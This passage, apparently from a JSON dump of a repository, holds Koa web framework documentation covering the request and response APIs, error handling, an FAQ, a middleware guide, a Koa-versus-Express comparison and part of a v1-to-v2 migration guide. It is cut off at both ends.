`Host` is used.\n\nIf host is IPv6, Koa delegates parsing to\n[WHATWG URL API](https://nodejs.org/dist/latest-v8.x/docs/api/url.html#url_the_whatwg_url_api),\n_Note_ This may impact performance.\n\n### request.URL\n\nGet WHATWG parsed URL object.\n\n### request.type\n\nGet request `Content-Type` void of parameters such as \"charset\".\n\n```js\nconst ct = ctx.request.type;\n// => \"image/png\"\n```\n\n### request.charset\n\nGet request charset when present, or `undefined`:\n\n```js\nctx.request.charset;\n// => \"utf-8\"\n```\n\n### request.query\n\nGet parsed query-string, returning an empty object when no\nquery-string is present. Note that this getter does _not_\nsupport nested parsing.\n\nFor example \"color=blue&size=small\":\n\n```js\n{\n  color: 'blue',\n  size: 'small'\n}\n```\n\n### request.query=\n\nSet query-string to the given object. Note that this\nsetter does _not_ support nested objects.\n\n```js\nctx.query = { next: '/login' };\n```\n\n### request.fresh\n\nCheck if a request cache is \"fresh\", aka the contents have not changed. This\nmethod is for cache negotiation between `If-None-Match` / `ETag`, and `If-Modified-Since` and `Last-Modified`. It should be referenced after setting one or more of these response headers.\n\n```js\n// freshness check requires status 20x or 304\nctx.status = 200;\nctx.set('ETag', '123');\n\n// cache is ok\nif (ctx.fresh) {\n  ctx.status = 304;\n  return;\n}\n\n// cache is stale\n// fetch new data\nctx.body = await db.find('something');\n```\n\n### request.stale\n\nInverse of `request.fresh`.\n\n### request.protocol\n\nReturn request protocol, \"https\" or \"http\". Supports `X-Forwarded-Proto`\nwhen `app.proxy` is **true**.\n\n### request.secure\n\nShorthand for `ctx.protocol == \"https\"` to check if a request was\nissued via TLS.\n\n### request.ip\n\nRequest remote address. Supports `X-Forwarded-For` when `app.proxy`\nis **true**.\n\n### request.ips\n\nWhen `X-Forwarded-For` is present and `app.proxy` is enabled an array\nof these ips is returned, ordered from upstream -> downstream. When\ndisabled an empty array is returned.\n\nFor example if the value were \"client, proxy1, proxy2\",\nyou would receive the array `[\"client\", \"proxy1\", \"proxy2\"]`.\n\nMost of the reverse proxy(nginx) set x-forwarded-for via\n`proxy_add_x_forwarded_for`, which poses a certain security risk.\nA malicious attacker can forge a client's ip address by forging\na `X-Forwarded-For`request header. The request sent by the client\nhas an `X-Forwarded-For` request header for 'forged'. After being\nforwarded by the reverse proxy, `request.ips` will be\n['forged', 'client', 'proxy1', 'proxy2'].\n\nKoa offers two options to avoid being bypassed.\n\nIf you can control the reverse proxy, you can avoid bypassing\nby adjusting the configuration, or use the `app.proxyIpHeader`\nprovided by koa to avoid reading `x-forwarded-for` to get ips.\n\n```js\nconst app = new Koa({\n  proxy: true,\n  proxyIpHeader: 'X-Real-IP',\n});\n```\n\nIf you know exactly how many reverse proxies are in front of\nthe server, you can avoid reading the user's forged request\nheader by configuring `app.maxIpsCount`:\n\n```js\nconst app = new Koa({\n  proxy: true,\n  maxIpsCount: 1, // only one proxy in front of the server\n});\n\n// request.header['X-Forwarded-For'] === [ '127.0.0.1', '127.0.0.2' ];\n// ctx.ips === [ '127.0.0.2' ];\n```\n\n### request.subdomains\n\nReturn subdomains as an array.\n\nSubdomains are the dot-separated parts of the host before the main domain of\nthe app. By default, the domain of the app is assumed to be the last two\nparts of the host. This can be changed by setting `app.subdomainOffset`.\n\nFor example, if the domain is \"tobi.ferrets.example.com\":\nIf `app.subdomainOffset` is not set, `ctx.subdomains` is `[\"ferrets\", \"tobi\"]`.\nIf `app.subdomainOffset` is 3, `ctx.subdomains` is `[\"tobi\"]`.\n\n### request.is(types...)\n\nCheck if the incoming request contains the \"Content-Type\"\nheader field, and it contains any of the give mime `type`s.\nIf there is no request body, `null` is returned.\nIf there is no content type, or the match fails `false` is returned.\nOtherwise, it returns the matching content-type.\n\n```js\n// With Content-Type: text/html; charset=utf-8\nctx.is('html'); // => 'html'\nctx.is('text/html'); // => 'text/html'\nctx.is('text/*', 'text/html'); // => 'text/html'\n\n// When Content-Type is application/json\nctx.is('json', 'urlencoded'); // => 'json'\nctx.is('application/json'); // => 'application/json'\nctx.is('html', 'application/*'); // => 'application/json'\n\nctx.is('html'); // => false\n```\n\nFor example if you want to ensure that\nonly images are sent to a given route:\n\n```js\nif (ctx.is('image/*')) {\n  // process\n} else {\n  ctx.throw(415, 'images only!');\n}\n```\n\n### Content Negotiation\n\nKoa's `request` object includes helpful content negotiation utilities powered by [accepts](http://github.com/expressjs/accepts) and [negotiator](https://github.com/federomero/negotiator). These utilities are:\n\n- `request.accepts(types)`\n- `request.acceptsEncodings(types)`\n- `request.acceptsCharsets(charsets)`\n- `request.acceptsLanguages(langs)`\n\nIf no types are supplied, **all** acceptable types are returned.\n\nIf multiple types are supplied, the best match will be returned. If no matches are found, a `false` is returned, and you should send a `406 \"Not Acceptable\"` response to the client.\n\nIn the case of missing accept headers where any type is acceptable, the first type will be returned. Thus, the order of types you supply is important.\n\n### request.accepts(types)\n\nCheck if the given `type(s)` is acceptable, returning the best match when true, otherwise `false`. The `type` value may be one or more mime type string\nsuch as \"application/json\", the extension name\nsuch as \"json\", or an array `[\"json\", \"html\", \"text/plain\"]`.\n\n```js\n// Accept: text/html\nctx.accepts('html');\n// => \"html\"\n\n// Accept: text/*, application/json\nctx.accepts('html');\n// => \"html\"\nctx.accepts('text/html');\n// => \"text/html\"\nctx.accepts('json', 'text');\n// => \"json\"\nctx.accepts('application/json');\n// => \"application/json\"\n\n// Accept: text/*, application/json\nctx.accepts('image/png');\nctx.accepts('png');\n// => false\n\n// Accept: text/*;q=.5, application/json\nctx.accepts(['html', 'json']);\nctx.accepts('html', 'json');\n// => \"json\"\n\n// No Accept header\nctx.accepts('html', 'json');\n// => \"html\"\nctx.accepts('json', 'html');\n// => \"json\"\n```\n\nYou may call `ctx.accepts()` as many times as you like,\nor use a switch:\n\n```js\nswitch (ctx.accepts('json', 'html', 'text')) {\n  case 'json':\n    break;\n  case 'html':\n    break;\n  case 'text':\n    break;\n  default:\n    ctx.throw(406, 'json, html, or text only');\n}\n```\n\n### request.acceptsEncodings(encodings)\n\nCheck if `encodings` are acceptable, returning the best match when true, otherwise `false`. Note that you should include `identity` as one of the encodings!\n\n```js\n// Accept-Encoding: gzip\nctx.acceptsEncodings('gzip', 'deflate', 'identity');\n// => \"gzip\"\n\nctx.acceptsEncodings(['gzip', 'deflate', 'identity']);\n// => \"gzip\"\n```\n\nWhen no arguments are given all accepted encodings\nare returned as an array:\n\n```js\n// Accept-Encoding: gzip, deflate\nctx.acceptsEncodings();\n// => [\"gzip\", \"deflate\", \"identity\"]\n```\n\nNote that the `identity` encoding (which means no encoding) could be unacceptable if the client explicitly sends `identity;q=0`. Although this is an edge case, you should still handle the case where this method returns `false`.\n\n### request.acceptsCharsets(charsets)\n\nCheck if `charsets` are acceptable, returning\nthe best match when true, otherwise `false`.\n\n```js\n// Accept-Charset: utf-8, iso-8859-1;q=0.2, utf-7;q=0.5\nctx.acceptsCharsets('utf-8', 'utf-7');\n// => \"utf-8\"\n\nctx.acceptsCharsets(['utf-7', 'utf-8']);\n// => \"utf-8\"\n```\n\nWhen no arguments are given all accepted charsets\nare returned as an array:\n\n```js\n// Accept-Charset: utf-8, iso-8859-1;q=0.2, utf-7;q=0.5\nctx.acceptsCharsets();\n// => [\"utf-8\", \"utf-7\", \"iso-8859-1\"]\n```\n\n### request.acceptsLanguages(langs)\n\nCheck if `langs` are acceptable, returning\nthe best match when true, otherwise `false`.\n\n```js\n// Accept-Language: en;q=0.8, es, pt\nctx.acceptsLanguages('es', 'en');\n// => \"es\"\n\nctx.acceptsLanguages(['en', 'es']);\n// => \"es\"\n```\n\nWhen no arguments are given all accepted languages\nare returned as an array:\n\n```js\n// Accept-Language: en;q=0.8, es, pt\nctx.acceptsLanguages();\n// => [\"es\", \"pt\", \"en\"]\n```\n\n### request.idempotent\n\nCheck if the request is idempotent.\n\n### request.socket\n\nReturn the request socket.\n\n### request.get(field)\n\nReturn request header with case-insensitive `field`.\n"
  },
  {
    "path": "packages/koa/docs/api/response.md",
    "content": "# Response\n\nA Koa `Response` object is an abstraction on top of node's vanilla response object,\nproviding additional functionality that is useful for every day HTTP server\ndevelopment.\n\n## API\n\n### response.header\n\nResponse header object.\n\n### response.headers\n\nResponse header object. Alias as `response.header`.\n\n### response.socket\n\nResponse socket. Points to net.Socket instance as `request.socket`.\n\n### response.status\n\nGet response status. By default, `response.status` is set to `404` unlike node's `res.statusCode` which defaults to `200`.\n\n### response.status=\n\nSet response status via numeric code:\n\n- 100 \"continue\"\n- 101 \"switching protocols\"\n- 102 \"processing\"\n- 200 \"ok\"\n- 201 \"created\"\n- 202 \"accepted\"\n- 203 \"non-authoritative information\"\n- 204 \"no content\"\n- 205 \"reset content\"\n- 206 \"partial content\"\n- 207 \"multi-status\"\n- 208 \"already reported\"\n- 226 \"im used\"\n- 300 \"multiple choices\"\n- 301 \"moved permanently\"\n- 302 \"found\"\n- 303 \"see other\"\n- 304 \"not modified\"\n- 305 \"use proxy\"\n- 307 \"temporary redirect\"\n- 308 \"permanent redirect\"\n- 400 \"bad request\"\n- 401 \"unauthorized\"\n- 402 \"payment required\"\n- 403 \"forbidden\"\n- 404 \"not found\"\n- 405 \"method not allowed\"\n- 406 \"not acceptable\"\n- 407 \"proxy authentication required\"\n- 408 \"request timeout\"\n- 409 \"conflict\"\n- 410 \"gone\"\n- 411 \"length required\"\n- 412 \"precondition failed\"\n- 413 \"payload too large\"\n- 414 \"uri too long\"\n- 415 \"unsupported media type\"\n- 416 \"range not satisfiable\"\n- 417 \"expectation failed\"\n- 418 \"I'm a teapot\"\n- 422 \"unprocessable entity\"\n- 423 \"locked\"\n- 424 \"failed dependency\"\n- 426 \"upgrade required\"\n- 428 \"precondition required\"\n- 429 \"too many requests\"\n- 431 \"request header fields too large\"\n- 500 \"internal server error\"\n- 501 \"not implemented\"\n- 502 \"bad gateway\"\n- 503 \"service unavailable\"\n- 504 \"gateway timeout\"\n- 505 \"http version not supported\"\n- 506 \"variant also negotiates\"\n- 507 \"insufficient storage\"\n- 508 \"loop detected\"\n- 510 \"not extended\"\n- 511 \"network authentication required\"\n\n**NOTE**: don't worry too much about memorizing these strings,\nif you have a typo an error will be thrown, displaying this list\nso you can make a correction.\n\nSince `response.status` default is set to `404`, to send a response\nwithout a body and with a different status is to be done like this:\n\n```js\nctx.response.status = 200;\n\n// Or whatever other status\nctx.response.status = 204;\n```\n\n### response.message\n\nGet response status message. By default, `response.message` is\nassociated with `response.status`.\n\n### response.message=\n\nSet response status message to the given value.\n\n### response.length=\n\nSet response Content-Length to the given value.\n\n### response.length\n\nReturn response Content-Length as a number when present, or deduce\nfrom `ctx.body` when possible, or `undefined`.\n\n### response.body\n\nGet response body.\n\n### response.body=\n\nSet response body to one of the following:\n\n- `string` written\n- `Buffer` written\n- `Stream` piped\n- `Object` || `Array` json-stringified\n- `null` || `undefined` no content response\n\nIf `response.status` has not been set, Koa will automatically set the status to `200` or `204` depending on `response.body`. Specifically, if `response.body` has not been set or has been set as `null` or `undefined`, Koa will automatically set `response.status` to `204`. If you really want to send no content response with other status, you should override the `204` status as the following way:\n\n```js\n// This must be always set first before status, since null | undefined\n// body automatically sets the status to 204\nctx.body = null;\n// Now we override the 204 status with the desired one\nctx.status = 200;\n```\n\nKoa doesn't guard against everything that could be put as a response body -- a function doesn't serialise meaningfully, returning a boolean may make sense based on your application, and while an error works, it may not work as intended as some properties of an error are not enumerable. We recommend adding middleware in your app that asserts body types per app. A sample middleware might be:\n\n```js\napp.use(async (ctx, next) => {\n  await next();\n\n  ctx.assert.equal('object', typeof ctx.body, 500, 'some dev did something wrong');\n});\n```\n\n#### String\n\nThe Content-Type is defaulted to text/html or text/plain, both with\na default charset of utf-8. The Content-Length field is also set.\n\n#### Buffer\n\nThe Content-Type is defaulted to application/octet-stream, and Content-Length\nis also set.\n\n#### Stream\n\nThe Content-Type is defaulted to application/octet-stream.\n\nWhenever a stream is set as the response body, `.onerror` is automatically added as a listener to the `error` event to catch any errors.\nIn addition, whenever the request is closed (even prematurely), the stream is destroyed.\nIf you do not want these two features, do not set the stream as the body directly.\nFor example, you may not want this when setting the body as an HTTP stream in a proxy as it would destroy the underlying connection.\n\nSee: https://github.com/koajs/koa/pull/612 for more information.\n\nHere's an example of stream error handling without automatically destroying the stream:\n\n```js\nconst PassThrough = require('stream').PassThrough;\n\napp.use(async ctx => {\n  ctx.body = someHTTPStream.on('error', err => ctx.onerror(err)).pipe(PassThrough());\n});\n```\n\n#### Object\n\nThe Content-Type is defaulted to application/json. This includes plain objects `{ foo: 'bar' }` and arrays `['foo', 'bar']`.\n\n### response.get(field)\n\nGet a response header field value with case-insensitive `field`.\n\n```js\nconst etag = ctx.response.get('ETag');\n```\n\n### response.has(field)\n\nReturns `true` if the header identified by name is currently set in the outgoing headers.\nThe header name matching is case-insensitive.\n\n```js\nconst rateLimited = ctx.response.has('X-RateLimit-Limit');\n```\n\n### response.set(field, value)\n\nSet response header `field` to `value`:\n\n```js\nctx.set('Cache-Control', 'no-cache');\n```\n\n### response.append(field, value)\n\nAppend additional header `field` with value `val`.\n\n```js\nctx.append('Link', '<http://127.0.0.1/>');\n```\n\n### response.set(fields)\n\nSet several response header `fields` with an object:\n\n```js\nctx.set({\n  Etag: '1234',\n  'Last-Modified': date,\n});\n```\n\nThis delegates to [setHeader](https://nodejs.org/dist/latest/docs/api/http.html#http_request_setheader_name_value) which sets or updates headers by specified keys and doesn't reset the entire header.\n\n### response.remove(field)\n\nRemove header `field`.\n\n### response.type\n\nGet response `Content-Type` void of parameters such as \"charset\".\n\n```js\nconst ct = ctx.type;\n// => \"image/png\"\n```\n\n### response.type=\n\nSet response `Content-Type` via mime string or file extension.\n\n```js\nctx.type = 'text/plain; charset=utf-8';\nctx.type = 'image/png';\nctx.type = '.png';\nctx.type = 'png';\n```\n\nNote: when appropriate a `charset` is selected for you, for\nexample `response.type = 'html'` will default to \"utf-8\". If you need to overwrite `charset`,\nuse `ctx.set('Content-Type', 'text/html')` to set response header field to value directly.\n\n### response.is(types...)\n\nVery similar to `ctx.request.is()`.\nCheck whether the response type is one of the supplied types.\nThis is particularly useful for creating middleware that\nmanipulate responses.\n\nFor example, this is a middleware that minifies\nall HTML responses except for streams.\n\n```js\nconst minify = require('html-minifier');\n\napp.use(async (ctx, next) => {\n  await next();\n\n  if (!ctx.response.is('html')) return;\n\n  let body = ctx.body;\n  if (!body || body.pipe) return;\n\n  if (Buffer.isBuffer(body)) body = body.toString();\n  ctx.body = minify(body);\n});\n```\n\n### response.redirect(url, [alt])\n\nPerform a [302] redirect to `url`.\n\nThe string \"back\" is special-cased\nto provide Referrer support, when Referrer\nis not present `alt` or \"/\" is used.\n\n```js\nctx.redirect('back');\nctx.redirect('back', '/index.html');\nctx.redirect('/login');\nctx.redirect('http://google.com');\n```\n\nTo alter the default status of `302`, simply assign the status\nbefore or after this call. To alter the body, assign it after this call:\n\n```js\nctx.status = 301;\nctx.redirect('/cart');\nctx.body = 'Redirecting to shopping cart';\n```\n\n### response.attachment([filename], [options])\n\nSet `Content-Disposition` to \"attachment\" to signal the client\nto prompt for download. Optionally specify the `filename` of the\ndownload and some [options](https://github.com/jshttp/content-disposition#options).\n\n### response.headerSent\n\nCheck if a response header has already been sent. Useful for seeing\nif the client may be notified on error.\n\n### response.lastModified\n\nReturn the `Last-Modified` header as a `Date`, if it exists.\n\n### response.lastModified=\n\nSet the `Last-Modified` header as an appropriate UTC string.\nYou can either set it as a `Date` or date string.\n\n```js\nctx.response.lastModified = new Date();\n```\n\n### response.etag=\n\nSet the ETag of a response including the wrapped `\"`s.\nNote that there is no corresponding `response.etag` getter.\n\n```js\nctx.response.etag = crypto.createHash('md5').update(ctx.body).digest('hex');\n```\n\n### response.vary(field)\n\nVary on `field`.\n\n### response.flushHeaders()\n\nFlush any set headers, and begin the body.\n"
  },
  {
    "path": "packages/koa/docs/error-handling.md",
    "content": "# Error Handling\n\n## Try-Catch\n\nUsing async functions means that you can try-catch `next`.\nThis example adds a `.status` to all errors:\n\n```js\napp.use(async (ctx, next) => {\n  try {\n    await next();\n  } catch (err) {\n    err.status = err.statusCode || err.status || 500;\n    throw err;\n  }\n});\n```\n\n### Default Error Handler\n\nThe default error handler is essentially a `try-catch` at\nthe very beginning of the middleware chain. To use a\ndifferent error handler, simply put another `try-catch` at\nthe beginning of the middleware chain, and handle the error\nthere. However, the default error handler is good enough for\nmost use cases. It will use a status code of `err.status`,\nor by default 500. If `err.expose` is true, then `err.message`\nwill be the reply. Otherwise, a message generated from the\nerror code will be used (e.g. for the code 500 the message\n\"Internal Server Error\" will be used). All headers will be\ncleared from the request, but any headers in `err.headers`\nwill then be set. You can use a `try-catch`, as specified\nabove, to add a header to this list.\n\nHere is an example of creating your own error handler:\n\n```js\napp.use(async (ctx, next) => {\n  try {\n    await next();\n  } catch (err) {\n    // will only respond with JSON\n    ctx.status = err.statusCode || err.status || 500;\n    ctx.body = {\n      message: err.message,\n    };\n  }\n});\n```\n\n## The Error Event\n\nError event listeners can be specified with `app.on('error')`.\nIf no error listener is specified, a default error listener\nis used. Error listeners receive all errors that make their\nway back through the middleware chain, if an error is caught\nand not thrown again, it will not be passed to the error\nlistener. If no error event listener is specified, then\n`app.onerror` will be used, which simply log the error unless\n`error.expose`is true or `app.silent` is true or `error.status`\nis 404.\n"
  },
  {
    "path": "packages/koa/docs/faq.md",
    "content": "# Frequently Asked Questions\n\n## Does Koa replace Express?\n\nIt's more like Connect, but a lot of the Express goodies\nwere moved to the middleware level in Koa to help form\na stronger foundation. This makes middleware more enjoyable\nand less error-prone to write, for the entire stack, not\njust the end application code.\n\nTypically many middleware would\nre-implement similar features, or even worse incorrectly implement them,\nwhen features like signed cookie secrets among others are typically application-specific,\nnot middleware specific.\n\n## Does Koa replace Connect?\n\nNo, just a different take on similar functionality\nnow that async functions allow us to write code with fewer\ncallbacks. Connect is equally capable, and some may still prefer it,\nit's up to what you prefer.\n\n## Does Koa include routing?\n\nNo - out of the box Koa has no form of routing, however\nmany routing middleware are available: https://github.com/koajs/koa/wiki\n\n## Why isn't Koa just Express 4.0?\n\nKoa is a pretty large departure from what people know about Express,\nthe design is fundamentally much different, so the migration from\nExpress 3.0 to this Express 4.0 would effectively mean rewriting\nthe entire application, so we thought it would be more appropriate\nto create a new library.\n\n## What custom properties do the Koa objects have?\n\nKoa uses its own custom objects: `ctx`, `ctx.request`, and `ctx.response`.\nThese objects abstract node's `req` and `res` objects with convenience methods and getters/setters.\nGenerally, properties added to these objects must obey the following rules:\n\n- They must be either very commonly used and/or must do something useful\n- If a property exists as a setter, then it will also exist as a getter, but not vice versa\n\nMany of `ctx.request` and `ctx.response`'s properties are delegated to `ctx`.\nIf it's a getter/setter, then both the getter and the setter will strictly\ncorrespond to either `ctx.request` or `ctx.response`.\n\nPlease think about these rules before suggesting additional properties.\n"
  },
  {
    "path": "packages/koa/docs/guide.md",
    "content": "# Guide\n\nThis guide covers Koa topics that are not directly API related, such as best practices for writing middleware and application structure suggestions. In these examples we use async functions as middleware - you can also use commonFunction or generatorFunction which will be a little different.\n\n## Table of Contents\n\n- [Guide](#guide)\n  - [Table of Contents](#table-of-contents)\n  - [Writing Middleware](#writing-middleware)\n  - [Middleware Best Practices](#middleware-best-practices)\n    - [Middleware options](#middleware-options)\n    - [Named middleware](#named-middleware)\n    - [Combining multiple middleware with koa-compose](#combining-multiple-middleware-with-koa-compose)\n    - [Response Middleware](#response-middleware)\n  - [Async operations](#async-operations)\n  - [Debugging Koa](#debugging-koa)\n\n## Writing Middleware\n\nKoa middleware are simple functions which return a `MiddlewareFunction` with signature (ctx, next). When\nthe middleware is run, it must manually invoke `next()` to run the \"downstream\" middleware.\n\nFor example if you wanted to track how long it takes for a request to propagate through Koa by adding an\n`X-Response-Time` header field the middleware would look like the following:\n\n```js\nasync function responseTime(ctx, next) {\n  const start = Date.now();\n  await next();\n  const ms = Date.now() - start;\n  ctx.set('X-Response-Time', `${ms}ms`);\n}\n\napp.use(responseTime);\n```\n\nIf you're a front-end developer you can think any code before `next();` as the \"capture\" phase,\nwhile any code after is the \"bubble\" phase. This crude gif illustrates how async function allow us\nto properly utilize stack flow to implement request and response flows:\n\n![Koa middleware](/docs/middleware.gif)\n\n1.  Create a date to track response time\n2.  Await control to the next middleware\n3.  Create another date to track duration\n4.  Await control to the next middleware\n5.  Set the response body to \"Hello World\"\n6.  Calculate duration time\n7.  Output log line\n8.  Calculate response time\n9.  Set `X-Response-Time` header field\n10. Hand off to Koa to handle the response\n\nNext we'll look at the best practices for creating Koa middleware.\n\n## Middleware Best Practices\n\nThis section covers middleware authoring best practices, such as middleware\naccepting options, named middleware for debugging, among others.\n\n### Middleware options\n\nWhen creating a public middleware, it's useful to conform to the convention of\nwrapping the middleware in a function that accepts options, allowing users to\nextend functionality. Even if your middleware accepts _no_ options, this is still\na good idea to keep things uniform.\n\nHere our contrived `logger` middleware accepts a `format` string for customization,\nand returns the middleware itself:\n\n```js\nfunction logger(format) {\n  format = format || ':method \":url\"';\n\n  return async function (ctx, next) {\n    const str = format.replace(':method', ctx.method).replace(':url', ctx.url);\n\n    console.log(str);\n\n    await next();\n  };\n}\n\napp.use(logger());\napp.use(logger(':method :url'));\n```\n\n### Named middleware\n\nNaming middleware is optional, however it's useful for debugging purposes to assign a name.\n\n```js\nfunction logger(format) {\n  return async function logger(ctx, next) {};\n}\n```\n\n### Combining multiple middleware with koa-compose\n\nSometimes you want to \"compose\" multiple middleware into a single middleware for easy re-use or exporting. You can use [koa-compose](https://github.com/koajs/compose)\n\n```js\nconst compose = require('koa-compose');\n\nasync function random(ctx, next) {\n  if ('/random' == ctx.path) {\n    ctx.body = Math.floor(Math.random() * 10);\n  } else {\n    await next();\n  }\n}\n\nasync function backwards(ctx, next) {\n  if ('/backwards' == ctx.path) {\n    ctx.body = 'sdrawkcab';\n  } else {\n    await next();\n  }\n}\n\nasync function pi(ctx, next) {\n  if ('/pi' == ctx.path) {\n    ctx.body = String(Math.PI);\n  } else {\n    await next();\n  }\n}\n\nconst all = compose([random, backwards, pi]);\n\napp.use(all);\n```\n\n### Response Middleware\n\nMiddleware that decide to respond to a request and wish to bypass downstream middleware may\nsimply omit `next()`. Typically this will be in routing middleware, but this can be performed by\nany. For example the following will respond with \"two\", however all three are executed, giving the\ndownstream \"three\" middleware a chance to manipulate the response.\n\n```js\napp.use(async function (ctx, next) {\n  console.log('>> one');\n  await next();\n  console.log('<< one');\n});\n\napp.use(async function (ctx, next) {\n  console.log('>> two');\n  ctx.body = 'two';\n  await next();\n  console.log('<< two');\n});\n\napp.use(async function (ctx, next) {\n  console.log('>> three');\n  await next();\n  console.log('<< three');\n});\n```\n\nThe following configuration omits `next()` in the second middleware, and will still respond\nwith \"two\", however the third (and any other downstream middleware) will be ignored:\n\n```js\napp.use(async function (ctx, next) {\n  console.log('>> one');\n  await next();\n  console.log('<< one');\n});\n\napp.use(async function (ctx, next) {\n  console.log('>> two');\n  ctx.body = 'two';\n  console.log('<< two');\n});\n\napp.use(async function (ctx, next) {\n  console.log('>> three');\n  await next();\n  console.log('<< three');\n});\n```\n\nWhen the furthest downstream middleware executes `next();`, it's really yielding to a noop\nfunction, allowing the middleware to compose correctly anywhere in the stack.\n\n## Async operations\n\nAsync function and promise forms Koa's foundation, allowing\nyou to write non-blocking sequential code. For example this middleware reads the filenames from `./docs`,\nand then reads the contents of each markdown file in parallel before assigning the body to the joint result.\n\n```js\nconst fs = require('mz/fs');\n\napp.use(async function (ctx, next) {\n  const paths = await fs.readdir('docs');\n  const files = await Promise.all(paths.map(path => fs.readFile(`docs/${path}`, 'utf8')));\n\n  ctx.type = 'markdown';\n  ctx.body = files.join('');\n});\n```\n\n## Debugging Koa\n\nKoa along with many of the libraries it's built with support the **DEBUG** environment variable from [debug](https://github.com/visionmedia/debug) which provides simple conditional logging.\n\nFor example\nto see all Koa-specific debugging information just pass `DEBUG=koa*` and upon boot you'll see the list of middleware used, among other things.\n\n```\n$ DEBUG=koa* node --harmony examples/simple\n  koa:application use responseTime +0ms\n  koa:application use logger +4ms\n  koa:application use contentLength +0ms\n  koa:application use notfound +0ms\n  koa:application use response +0ms\n  koa:application listen +0ms\n```\n\nSince JavaScript does not allow defining function names at\nruntime, you can also set a middleware's name as `._name`.\nThis is useful when you don't have control of a middleware's name.\nFor example:\n\n```js\nconst path = require('path');\nconst serve = require('koa-static');\n\nconst publicFiles = serve(path.join(__dirname, 'public'));\npublicFiles._name = 'static /public';\n\napp.use(publicFiles);\n```\n\nNow, instead of just seeing \"serve\" when debugging, you will see:\n\n```\n  koa:application use static /public +0ms\n```\n"
  },
  {
    "path": "packages/koa/docs/koa-vs-express.md",
    "content": "# Koa vs Express\n\nPhilosophically, Koa aims to \"fix and replace node\", whereas Express \"augments node\".\nKoa uses promises and async functions to rid apps of callback hell and simplify error handling.\nIt exposes its own `ctx.request` and `ctx.response` objects instead of node's `req` and `res` objects.\n\nExpress, on the other hand, augments node's `req` and `res` objects with additional properties and methods\nand includes many other \"framework\" features, such as routing and templating, which Koa does not.\n\nThus, Koa can be viewed as an abstraction of node.js's `http` modules, where as Express is an application framework for node.js.\n\n|           Feature | Koa | Express | Connect |\n| ----------------: | --- | ------- | ------- |\n| Middleware Kernel | ✓   | ✓       | ✓       |\n|           Routing |     | ✓       |         |\n|        Templating |     | ✓       |         |\n|     Sending Files |     | ✓       |         |\n|             JSONP |     | ✓       |         |\n\nThus, if you'd like to be closer to node.js and traditional node.js-style coding, you probably want to stick to Connect/Express or similar frameworks.\nIf you want to get rid of callbacks, use Koa.\n\nAs result of this different philosophy is that traditional node.js \"middleware\", i.e. functions of the form `(req, res, next)`, are incompatible with Koa. Your application will essentially have to be rewritten from the ground, up.\n\n## Does Koa replace Express?\n\nIt's more like Connect, but a lot of the Express goodies\nwere moved to the middleware level in Koa to help form\na stronger foundation. This makes middleware more enjoyable\nand less error-prone to write, for the entire stack, not\njust the end application code.\n\nTypically many middleware would\nre-implement similar features, or even worse incorrectly implement them,\nwhen features like signed cookie secrets among others are typically application-specific,\nnot middleware specific.\n\n## Does Koa replace Connect?\n\nNo, just a different take on similar functionality\nnow that generators allow us to write code with less\ncallbacks. Connect is equally capable, and some may still prefer it,\nit's up to what you prefer.\n\n## Why isn't Koa just Express 4.0?\n\nKoa is a pretty large departure from what people know about Express,\nthe design is fundamentally much different, so the migration from\nExpress 3.0 to this Express 4.0 would effectively mean rewriting\nthe entire application, so we thought it would be more appropriate\nto create a new library.\n\n## How is Koa different than Connect/Express?\n\n### Promises-based control flow\n\nNo callback hell.\n\nBetter error handling through try/catch.\n\nNo need for domains.\n\n### Koa is barebones\n\nUnlike both Connect and Express, Koa does not include any middleware.\n\nUnlike Express, routing is not provided.\n\nUnlike Express, many convenience utilities are not provided. For example, sending files.\n\nKoa is more modular.\n\n### Koa relies less on middleware\n\nFor example, instead of a \"body parsing\" middleware, you would instead use a body parsing function.\n\n### Koa abstracts node's request/response\n\nLess hackery.\n\nBetter user experience.\n\nProper stream handling.\n\n### Koa routing (third party libraries support)\n\nSince Express comes with its own routing, but Koa does not have\nany in-built routing, there are third party libraries available such as\nkoa-router and koa-route.\nSimilarly, just like we have helmet for security in Express, for Koa\nwe have koa-helmet available and the list goes on for Koa available third\nparty libraries.\n"
  },
  {
    "path": "packages/koa/docs/migration.md",
    "content": "# Migrating from Koa v1.x to v2.x\n\n## New middleware signature\n\nKoa v2 introduces a new signature for middleware.\n\n**Old signature middleware (v1.x) support will be removed in v3**\n\nThe new middleware signature is:\n\n```js\n// uses async arrow functions\napp.use(async (ctx, next) => {\n  try {\n    await next(); // next is now a function\n  } catch (err) {\n    ctx.body = { message: err.message };\n    ctx.status = err.status || 500;\n  }\n});\n\napp.use(async ctx => {\n  const user = await User.getById(this.session.userid); // await instead of yield\n  ctx.body = user; // ctx instead of this\n});\n```\n\nYou don't have to use asynchronous functions - you just have to pass a function that returns a promise.\nA regular function that returns a promise works too!\n\nThe signature has changed to pass `Context` via an explicit parameter, `ctx` above, instead of via\n`this`. The context passing change makes Koa more compatible with es6 arrow functions, which capture `this`.\n\n## Using v1.x Middleware in v2.x\n\nKoa v2.x will try to convert legacy signature, generator middleware on `app.use`, using [koa-convert](https://github.com/koajs/convert).\nIt is however recommended that you choose to migrate all v1.x middleware as soon as possible.\n\n```js\n// Koa will convert\napp.use(function* (next) {\n  const start = Date.now();\n  yield next;\n  const ms = Date.now() - start;\n  console.log(`${this.method} ${this.url} - ${ms}ms`);\n});\n```\n\nYou could do it manually as well, in which case Koa will not convert.\n\n```js\nconst convert = require('koa-convert');\n\napp.use(\n  convert(function* (next) {\n    const start = Date.now();\n    yield next;\n    const ms = Date.now() - start;\n    console.log(`${this.method} ${this.url} - ${ms}ms`);\n  })\n);\n```\n\n## Upgrading middleware\n\nYou will have to convert your generators to async functions with the new middleware signature:\n\n```js\napp.use(async (ctx, next) => {\n  const user = await Users.getById(this.session.user_id);\n  await next();\n  ctx.body = { message: 'some message' };\n});\n```\n\nUpgrading your middleware may require some work. One migration path is to update them one-by-one.\n\n1. Wrap all your current middleware in `koa-convert`\n2. Test\n3. `npm outdated` to see which Koa middleware is outdated\n4. Update one outdated middleware, remove using `koa-convert`\n5. Test\n6. Repeat steps 3-5 until you're done\n\n## Updating your code\n\nYou should start refactoring your code now to ease migrating to Koa v2:\n\n- Return promises everywhere!\n- Do not use `yield*`\n- Do not use `yield {}` or `yield []`.\n  - Convert `yield []` into `yield Promise.all([])`\n  - Convert `yield {}` into `yield Bluebird.props({})`\n\nYou could also refactor your logic outside of Koa middleware functions. Create functions like\n`function* someLogic(ctx) {}` and call it in your middleware as\n`const result = yield someLogic(this)`.\nNot using `this` will help migrations to the new middleware signature, which does not use `this`.\n\n## 